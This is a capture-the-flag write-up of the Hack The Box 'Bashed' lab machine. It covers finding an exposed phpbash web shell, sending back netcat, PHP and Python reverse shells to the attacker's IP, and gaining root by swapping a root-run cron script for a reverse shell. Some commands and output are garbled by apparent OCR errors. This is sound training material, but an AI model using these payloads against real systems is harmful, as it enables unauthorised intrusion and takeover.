### Bashed



10.10.10.68

This is a linux box so without further a do, lets nmap

As wew can see, it is a http site. Running httpd 2.4 Lets visit it.

# phpbash

phpbash helps a lot with pentesting. I have tested it on multiple different servers and it was very useful. I actually developed it on this exact server!

There is a lot of emphasis on this. Lets see it.

phpbash helps a lot with pentesting. I have tested it on multiple different servers and it was very useful. I actually developed it on this exact server! https://github.com/Arrexel/phpbash

As we can see, there is a github repository on this. lets clone it into our Bashed directory.

kalimkali:~/Documents/HTB/hackthebox/Bashed/PHP/phpbash\$ ls
LICENSE phpbash.min.php phpbash.php README.md

Now lets run dirbuster on the site to see if we can find any other directories

The first second and design and second secon				
	Dir	/dev/	200	1337
	File	/dev/phpbash.min.php	200	4734
	Dir	/icons/small/	403	470
	File	/dev/phpbash.php	200	179

Lets go to the /dev/

## Index of /dev

Name <u>Last modified</u> <u>Size Description</u>

Parent Directory

phpbash.min.php 2017-12-04 12:21 4.6K

phpbash.php 2017-11-30 23:56 8.1K

Apache/2.4.18 (Ubuntu) Server at 10.10.10.68 Port 80

After being at /dev, we see that phpbash.php might be useful for our tool we found on github.

As we can see, the phpbash.php is actually enabled on the /devphpbash.php From here, we might be able to find some useful files.

```
www-data@bashed:/var/www/html# ls
about.html
config.php
contact.html
css
demo-images
dev
fonts
```

So we have an interactive web shell, but if we reload the page, we see that it is not persistent

```
www-data@bashed:/var/www/html# ls
about.html
config.php
contact.html
css
demo-images
dev
fonts
```

We can reach for a reverse shell to obtain this persistent reverse shell..

## Reverse Shell Cheat Sheet

If you're lucky enough to find a command execution vulnerability during a penetration test, pretty soon afterwards you'll probably want an interactive shell.

```
www-data@bashed:/var/www/html# locate netcat
/bin/netcat
```

From the reverse shell cheat sheet, we can use a netcat reverse shell

#### Netcat

Netcat is rarely present on production systems and even if it is there are several version of netcat, some of which don't support the -e option.

```
nc -e /bin/sh 10.0.0.1 1234
```

http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

#### Listen in on our machine

```
kalimkali:~/Documents/HTB/hackthebox/Bashed$ nc -nlvp 1234 listening on [any] 1234 ...
```

10.10.14.3 is our IP

php -r '\$sock=fsockopen("10.10.14.3",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

Still no reverse shell.

Let us try python -c 'import socket, subprocess, os; s = socket. socket (socket. AF\_INET, socket. SOCK\_STREAM); s. conn 1234)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p = subprocess.call(["/bin/sh","-i"]);

```
kalinkali:~/Documents/HTB/hackthebox/Bashed$ nc -nlvp 1234
listeninglon [any] 1234 ...2(s.fileno(),2);p=subprocess.call({
connect to [10.10.14.3] from (UNKNOWN) [10.10.10.68] 38362
/bin/sh: 0: can't access tty; job control turned off
$ [
```

Nice! Let's optimize our shell with a python -tty python -c 'import pty; pty.spawn("/bin/sh")'

Not much use as tty doesn't work, we will have to do python -c 'import pty;pty.spawn("/bin/bash")'
Bash shell works!

Now we can go to /home and view arrexel. cd into arrexel and get user.

```
www-data@bashed:/home/arrexel$ ls
ls
user.txt
www-data@bashed:/home/arrexel$ cat user.txt
cat user.txt
2c281f318555dbc1b856957c7147bfc1
```

Now its time to privesc for root!

lists the allowed commands for my user.

```
www-data@bashed:/home$ sudo -l
sudo -l
Matching Defaults entries for www-data on bashed:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/bin\:/snap/bin

User www-data may run the following commands on bashed:
    (scriptmanager : scriptmanager) NOPASSWD: ALL
```

So we can run scriptmanager without a password.

The **-u** (*user*) option causes **sudo** to run the specified command as a user other than *root*.

The **-i** (simulate initial login) option runs the shell specified by the password database entry of the target user as a login shell.

#### sudo -i -u scriptmanager

```
scriptmanager@bashed:~$
scriptmanager@bashed:~$
```

#### now lets go to the scripts directory

```
scriptmanager@bashed:/scripts$ ls
ls
test.py test.txt
scriptmanager@bashed:/scripts$
```

As we can see, test.txt is written to everytime we run test.py

```
scriptmanager@bashed:/scripts$ ls -al
ls -al
total 16
drwxrwxr-- 2 scriptmanager scriptmanager 4096 Dec 4 2017 .
drwxr-xr-x 23 root root 4096 Dec 4 2017 ..
-rw-r--r-- 1 scriptmanager scriptmanager 58 Dec 4 2017 test.py
-rw-r--r-- 1 root root 12 Jul 5 16:09 test.txt
scriptmanager@bashed:/scripts$
```

test.py is scriptmanager access, but test.txt is root access. We might be able to get a reverse shell on root via editing the test.py. Lets try to edit the test.py(rev shell gotten by monkey as well)

```
import socket, subprocess, os
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.10.14.3",1234))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"]);
```

After picking up a reverse python shell, we will now serve it on 8080

kmlimkmli:~/Documents/HTB/hackthebox/Bashed\$ python -m SimpleHTTPServer 8080
Serving HTTP on 0.0.0.0 port 8080 ...

Grab it via wget and remove the old python file

```
scriptmanager@bashed:/scripts$ wget http://10.10.14.3:8080/test.py
wget http://10.10.14.3:8080/test.py
--2020-07-05 16:31:43-- http://10.10.14.3:8080/test.py
Connecting to 10.10.14.3:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 215 [text/plain]
Saving to: 'test.py.1'
```

Now after this and running the python shell, we set up a nc listener and get

```
# whoami
root
#
```

optimize with python -c 'import pty; pty.spawn("/bin/bash")'

Now lets go to the root folder and grab the root flag and we are done!

```
root@bashed:/# cd root
cd root
root@bashed:~# ls
ls
root.txt
root@bashed:~# cat root.txt
cat root.txt
cat root.txt
cc4f0afe3a1026d402ba10329674a8e2
root@bashed:~#
```